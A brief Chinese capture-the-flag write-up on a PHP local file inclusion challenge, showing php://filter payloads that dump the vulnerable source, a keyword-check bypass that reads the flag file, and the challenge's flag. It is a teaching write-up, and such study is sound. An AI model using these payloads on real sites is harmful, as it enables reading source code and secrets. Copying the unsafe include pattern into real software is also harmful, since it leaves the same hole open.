发现有一个参数,考虑一下注入
加个’单引号发现报错
出现include(woofers’.php),怀疑有文件包含漏洞,用php协议读取一下内容
index.php?category=php://filter/read=convert.base64-encode/resource=index
看上面的报错可以知道,它在会帮参数自动添加.php,所以不需要自己加(加了后读不出东西,会报错,可以发现有两个php后缀,也可以发现问题)
转码一下
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
发现在传的内容里有‘woofers’,‘meowers’,‘index’三者之一才能进行包含
在这里就需要知道一点小技巧
php://filter伪协议可以套一层协议,如下,在之间加上woofers但不会影响文件包含
php://filter/read=convert.base64-encode/woofers/resource=flag
可以发现包含成功
<!-- Can you read this flag? -->
<?php
// flag{40c4a714-73a5-4b0c-b87f-992de36152a8}
?>